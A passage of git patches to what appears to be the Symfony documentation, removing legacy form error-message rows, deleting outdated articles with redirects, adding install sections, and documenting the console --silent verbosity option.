--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -8,8 +8,6 @@ The hidden type represents a hidden input field.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The hidden field is invalid.                                         |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 619ac996df6..1f94f9e2525 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -15,8 +15,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter an integer.                                              |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b1bccd077d..e3dddfb8ae6 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -22,8 +22,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid language.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 1868f20eda1..68155a248fd 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -23,8 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid locale.                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 5793097fe2f..f9f8cefdd58 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -13,8 +13,6 @@ how the input and output of the data is handled.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid money amount.                                  |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 86d8eda3116..7e125a5fd05 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -10,8 +10,6 @@ that you want to use for your number.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a number.                                               |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 7fb760471ef..83342194a4e 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -8,8 +8,6 @@ The ``PasswordType`` field renders an input password text box.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The password is invalid.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index ce985488c76..b46ca298c53 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -14,8 +14,6 @@ the input.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a percentage value.                                      |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 7702b87cbad..7ab90086803 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -15,8 +15,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid option.                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 294023ce0c6..06eebfd5473 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -9,8 +9,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid range.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index e5bd0cd4520..36211237bbd 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -11,8 +11,6 @@ accuracy.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The values do not match.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e38021bc461..5ece0f6416b 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -11,8 +11,6 @@ Read about the input search field at `DiveIntoHTML5.info`_
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid search term.                                    |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index 675f8e3f5cd..e8ab9c322fe 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -15,8 +15,6 @@ to input phone numbers.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please provide a valid phone number.                              |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ce41c6ff74..43cf0644e0e 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -14,8 +14,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid time.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | FormType                                                                    |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 3750e1b98d8..7dae0f351b4 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -16,8 +16,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid timezone.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 52bdb8eb136..71fb77cffa0 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Ulid object <ulid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid ULID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 96984b23226..d4cb312d2bb 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -10,8 +10,6 @@ have a protocol.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid URL.                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index c5aa6c2fdde..664c446bba9 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Uuid object <uuid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid UUID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 84ee98aff85..bcd39249015 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -14,8 +14,6 @@ the data can be a string or an array.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid week.                                         |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |

From a8678292f173090fff9b8b744ac37d0a1c66c646 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Tue, 24 Sep 2024 11:53:12 +0200
Subject: [PATCH 5041/5766] [Security] Fix role to detect logged-in user

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index d38c9cf731d..a537bb59075 100644
--- a/security.rst
+++ b/security.rst
@@ -2648,7 +2648,7 @@ you have the following two options.
 
 Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
 
-Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role::
+Secondly, you can use the special "attribute" ``IS_AUTHENTICATED`` in place of a role::
 
     // ...
 

From e1573270fed16a31515c8b97eb175acc09fbf2c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 17:49:56 +0200
Subject: [PATCH 5042/5766] [Testing] Remove an old article

---
 _build/redirection_map          |  1 +
 testing/http_authentication.rst | 14 --------------
 2 files changed, 1 insertion(+), 14 deletions(-)
 delete mode 100644 testing/http_authentication.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index f7c1f65033a..5c11914cfcb 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -568,3 +568,4 @@
 /messenger/multiple_buses /messenger#messenger-multiple-buses
 /frontend/encore/server-data /frontend/server-data
 /components/string /string
+/testing/http_authentication /testing#testing_logging_in_users
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
deleted file mode 100644
index 46ddb82b87d..00000000000
--- a/testing/http_authentication.rst
+++ /dev/null
@@ -1,14 +0,0 @@
-How to Simulate HTTP Authentication in a Functional Test
-========================================================
-
-.. caution::
-
-    Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
-    ease testing secured applications. See :ref:`testing_logging_in_users`
-    for more information about this.
-
-    If you are still using an older version of Symfony, view
-    `previous versions of this article`_ for information on how to simulate
-    HTTP authentication.
-
-.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html

From 299e6f5e4a4c7a57683aebf315c99df11214beb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 17:59:26 +0200
Subject: [PATCH 5043/5766] [Doctrine][Security] Remove an old article about
 registration forms

---
 _build/redirection_map         |  1 +
 doctrine.rst                   |  1 -
 doctrine/registration_form.rst | 15 ---------------
 security.rst                   |  2 ++
 4 files changed, 3 insertions(+), 16 deletions(-)
 delete mode 100644 doctrine/registration_form.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 5c11914cfcb..8f31032e7a5 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -569,3 +569,4 @@
 /frontend/encore/server-data /frontend/server-data
 /components/string /string
 /testing/http_authentication /testing#testing_logging_in_users
+/doctrine/registration_form /security#security-make-registration-form
diff --git a/doctrine.rst b/doctrine.rst
index aba27545211..ca1ed25b7b5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -1103,7 +1103,6 @@ Learn more
 
     doctrine/associations
     doctrine/events
-    doctrine/registration_form
     doctrine/custom_dql_functions
     doctrine/dbal
     doctrine/multiple_entity_managers
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
deleted file mode 100644
index 7063b7157a4..00000000000
--- a/doctrine/registration_form.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Implement a Registration Form
-====================================
-
-This article has been removed because it only explained things that are
-already explained in other articles. Specifically, to implement a registration
-form you must:
-
-#. :ref:`Define a class to represent users <create-user-class>`;
-#. :doc:`Create a form </forms>` to ask for the registration information (you can
-   generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
-#. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-access-control>` so that
-   only registered users can access to them.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 7b1ba5b0b1d..03f41d1714e 100644
--- a/security.rst
+++ b/security.rst
@@ -449,6 +449,8 @@ the database::
     Doctrine repository class related to the user class must implement the
     :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
 
+.. _security-make-registration-form:
+
 .. tip::
 
     The ``make:registration-form`` maker command can help you set-up the

From 411cd509e036f8169d8a0975bf246d5de23946ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Sep 2024 11:11:38 +0200
Subject: [PATCH 5044/5766] [Form] Remove a legacy article

---
 _build/redirection_map     |  1 +
 form/form_dependencies.rst | 12 ------------
 forms.rst                  |  1 -
 3 files changed, 1 insertion(+), 13 deletions(-)
 delete mode 100644 form/form_dependencies.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 8f31032e7a5..dd4c92e0776 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -570,3 +570,4 @@
 /components/string /string
 /testing/http_authentication /testing#testing_logging_in_users
 /doctrine/registration_form /security#security-make-registration-form
+/form/form_dependencies /form/create_custom_field_type
diff --git a/form/form_dependencies.rst b/form/form_dependencies.rst
deleted file mode 100644
index 96b067362ff..00000000000
--- a/form/form_dependencies.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-How to Access Services or Config from Inside a Form
-===================================================
-
-The content of this article is no longer relevant because in current Symfony
-versions, form classes are services by default and you can inject services in
-them using the :doc:`service autowiring </service_container/autowiring>` feature.
-
-Read the article about :doc:`creating custom form types </form/create_custom_field_type>`
-to see an example of how to inject the database service into a form type. In the
-same article you can also read about
-:ref:`configuration options for form types <form-type-config-options>`, which is
-another way of passing services to forms.
diff --git a/forms.rst b/forms.rst
index 1e891ab23ef..a90e4ee1772 100644
--- a/forms.rst
+++ b/forms.rst
@@ -964,7 +964,6 @@ Advanced Features:
 
     /controller/upload_file
     /security/csrf
-    /form/form_dependencies
     /form/create_custom_field_type
     /form/data_transformers
     /form/data_mappers

From 614900182f95599352d6a9a5cf0c38f9bf83aec6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 26 Sep 2024 13:02:49 +0200
Subject: [PATCH 5045/5766] Update templates.rst: Adding installation command

Looks like this isn't included anywhere...
---
 templates.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/templates.rst b/templates.rst
index 9fefc066fe0..b7c9bd755e3 100644
--- a/templates.rst
+++ b/templates.rst
@@ -15,6 +15,12 @@ Twig: a flexible, fast, and secure template engine.
 Twig Templating Language
 ------------------------
 
+To intsall Twig, run:
+
+.. code-block:: bash
+
+    composer require symfony/twig-bundle
+
 The `Twig`_ templating language allows you to write concise, readable templates
 that are more friendly to web designers and, in several ways, more powerful than
 PHP templates. Take a look at the following Twig template example. Even if it's

From bfaa54a93408b1d5f9d33352028b0c6782cd153a Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 27 Sep 2024 08:49:47 +0200
Subject: [PATCH 5046/5766] service-container/fix-code-example

---
 service_container.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff7a60d441b..1f3a248dbe5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -407,12 +407,11 @@ example, suppose you want to make the admin email configurable:
       class SiteUpdateManager
       {
           // ...
-    +    private string $adminEmail;
 
           public function __construct(
               private MessageGenerator $messageGenerator,
               private MailerInterface $mailer,
-    +        private string $adminEmail
+    +         private string $adminEmail
           ) {
           }
 

From 1d8d4b6c391a7a846574522654004a20907e9431 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 10:10:53 +0200
Subject: [PATCH 5047/5766] Reword

---
 templates.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/templates.rst b/templates.rst
index b7c9bd755e3..dbdaf895c91 100644
--- a/templates.rst
+++ b/templates.rst
@@ -10,16 +10,20 @@ Twig: a flexible, fast, and secure template engine.
 
     Starting from Symfony 5.0, PHP templates are no longer supported.
 
-.. _twig-language:
+Installation
+------------
 
-Twig Templating Language
-------------------------
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install both Twig language support and its integration with Symfony applications:
+
+.. code-block:: terminal
 
-To intsall Twig, run:
+    $ composer require symfony/twig-bundle
 
-.. code-block:: bash
+.. _twig-language:
 
-    composer require symfony/twig-bundle
+Twig Templating Language
+------------------------
 
 The `Twig`_ templating language allows you to write concise, readable templates
 that are more friendly to web designers and, in several ways, more powerful than

From 4242642f490692db34c8eea5bb8f864992a68e62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 10:16:13 +0200
Subject: [PATCH 5048/5766] [WebLink] Add the missing installation section

---
 web_link.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/web_link.rst b/web_link.rst
index fb81376cba3..c19164db572 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -19,6 +19,16 @@ servers (Apache, nginx, Caddy, etc.) support this, but you can also use the
 `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the
 Symfony community.
 
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install the WebLink feature before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/web-link
+
 Preloading Assets
 -----------------
 

From eacc9c3980b47b93c7889034dc088f2f483314e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 19:52:39 +0200
Subject: [PATCH 5049/5766] [Doctrine] Delete the article about reverse
 engineering

---
 _build/redirection_map           |  1 +
 doctrine.rst                     |  5 ++---
 doctrine/reverse_engineering.rst | 15 ---------------
 3 files changed, 3 insertions(+), 18 deletions(-)
 delete mode 100644 doctrine/reverse_engineering.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index dd4c92e0776..115ec75ade2 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -571,3 +571,4 @@
 /testing/http_authentication /testing#testing_logging_in_users
 /doctrine/registration_form /security#security-make-registration-form
 /form/form_dependencies /form/create_custom_field_type
+/doctrine/reverse_engineering /doctrine#doctrine-adding-mapping
diff --git a/doctrine.rst b/doctrine.rst
index ca1ed25b7b5..dc42a5b9e73 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -84,6 +84,8 @@ affect how Doctrine functions.
     There are many other Doctrine commands. Run ``php bin/console list doctrine``
     to see a full list.
 
+.. _doctrine-adding-mapping:
+
 Creating an Entity Class
 ------------------------
 
@@ -91,8 +93,6 @@ Suppose you're building an application where products need to be displayed.
 Without even thinking about Doctrine or databases, you already know that
 you need a ``Product`` object to represent those products.
 
-.. _doctrine-adding-mapping:
-
 You can use the ``make:entity`` command to create this class and any fields you
 need. The command will ask you some questions - answer them like done below:
 
@@ -1107,7 +1107,6 @@ Learn more
     doctrine/dbal
     doctrine/multiple_entity_managers
     doctrine/resolve_target_entity
-    doctrine/reverse_engineering
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
deleted file mode 100644
index 35c8e729c2d..00000000000
--- a/doctrine/reverse_engineering.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Generate Entities from an Existing Database
-==================================================
-
-.. caution::
-
-    The ``doctrine:mapping:import`` command used to generate Doctrine entities
-    from existing databases was deprecated by Doctrine in 2019 and there's no
-    replacement for it.
-
-    Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
-    to help you generate the code of your Doctrine entities. This command
-    requires manual supervision because it doesn't generate entities from
-    existing databases.
-
-.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 2492dd1a3dc9df692c3061009ba9d21bd9ef8b16 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Sep 2024 08:56:16 +0200
Subject: [PATCH 5050/5766] [Console] Document the silent verbosity level

---
 components/console/usage.rst |  8 ++++++++
 console/input.rst            |  7 ++++++-
 console/verbosity.rst        | 23 ++++++++++++++++++++---
 3 files changed, 34 insertions(+), 4 deletions(-)

diff --git a/components/console/usage.rst b/components/console/usage.rst
index d7725e8926e..591994948b8 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -65,9 +65,17 @@ You can suppress output with:
 
 .. code-block:: terminal
 
+    # suppresses all output, including errors
+    $ php application.php list --silent
+
+    # suppresses all output except errors
     $ php application.php list --quiet
     $ php application.php list -q
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 You can get more verbose messages (if this is supported for a command)
 with:
 
diff --git a/console/input.rst b/console/input.rst
index 6e7fc85a055..c038ace56fc 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -446,12 +446,17 @@ The Console component adds some predefined options to all commands:
 
 * ``--verbose``: sets the verbosity level (e.g. ``1`` the default, ``2`` and
   ``3``, or you can use respective shortcuts ``-v``, ``-vv`` and ``-vvv``)
-* ``--quiet``: disables output and interaction
+* ``--silent``: disables all output and interaction, including errors
+* ``--quiet``: disables output and interaction, but errors are still displayed
 * ``--no-interaction``: disables interaction
 * ``--version``: outputs the version number of the console application
 * ``--help``: displays the command help
 * ``--ansi|--no-ansi``: whether to force of disable coloring the output
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 When using the ``FrameworkBundle``, two more options are predefined:
 
 * ``--env``: sets the Kernel configuration environment (defaults to ``APP_ENV``)
diff --git a/console/verbosity.rst b/console/verbosity.rst
index f7a1a1e5e59..9910dca0c3d 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -7,7 +7,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options
 
 .. code-block:: terminal
 
-    # do not output any message (not even the command result messages)
+    # suppress all output, including errors
+    $ php bin/console some-command --silent
+
+    # suppress all output (even the command result messages) but display errors
     $ php bin/console some-command -q
     $ php bin/console some-command --quiet
 
@@ -23,6 +26,10 @@ messages, but you can control their verbosity with the ``-q`` and ``-v`` options
     # display all messages (useful to debug errors)
     $ php bin/console some-command -vvv
 
+.. versionadded:: 7.2
+
+    The ``--silent`` option was introduced in Symfony 7.2.
+
 The verbosity level can also be controlled globally for all commands with the
 ``SHELL_VERBOSITY`` environment variable (the ``-q`` and ``-v`` options still
 have more precedence over the value of ``SHELL_VERBOSITY``):
@@ -30,6 +37,7 @@ have more precedence over the value of ``SHELL_VERBOSITY``):
 =====================  =========================  ===========================================
 Console option         ``SHELL_VERBOSITY`` value  Equivalent PHP constant
 =====================  =========================  ===========================================
+``--silent``           ``-2``                     ``OutputInterface::VERBOSITY_SILENT``
 ``-q`` or ``--quiet``  ``-1``                     ``OutputInterface::VERBOSITY_QUIET``
 (none)                 ``0``                      ``OutputInterface::VERBOSITY_NORMAL``
 ``-v``                 ``1``                      ``OutputInterface::VERBOSITY_VERBOSE``
@@ -58,7 +66,7 @@ level. For example::
                 'Password: '.$input->getArgument('password'),
             ]);
 
-            // available methods: ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
+            // available methods: ->isSilent(), ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
             if ($output->isVerbose()) {
                 $output->writeln('User class: '.get_class($user));
             }
@@ -73,10 +81,19 @@ level. For example::
         }
     }
 
-When the quiet level is used, all output is suppressed as the default
+.. versionadded:: 7.2
+
+    The ``isSilent()`` method was introduced in Symfony 7.2.
+
+When the silent or quiet level are used, all output is suppressed as the default
 :method:`Symfony\\Component\\Console\\Output\\Output::write` method returns
 without actually printing.
 
+.. tip::
+
+    When using the ``silent`` verbosity, errors won't be displayed in the console
+    but they will still be logged through the :doc:`Symfony logger </logging>` integration.
+
 .. tip::
 
     The MonologBridge provides a :class:`Symfony\\Bridge\\Monolog\\Handler\\ConsoleHandler`

From 1be72a205aa3a154a549dc3a2eb3940b850ed55c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Geffroy?=
 <81738559+raphael-geffroy@users.noreply.github.com>
Date: Fri, 6 Sep 2024 22:36:36 +0200
Subject: [PATCH 5051/5766] Add examples for flashbag peek and peekAll methods

---
 session.rst | 38 ++++++++++++++++++++++++++++++++------
 1 file changed, 32 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index a212acf9993..854c84d4f3d 100644
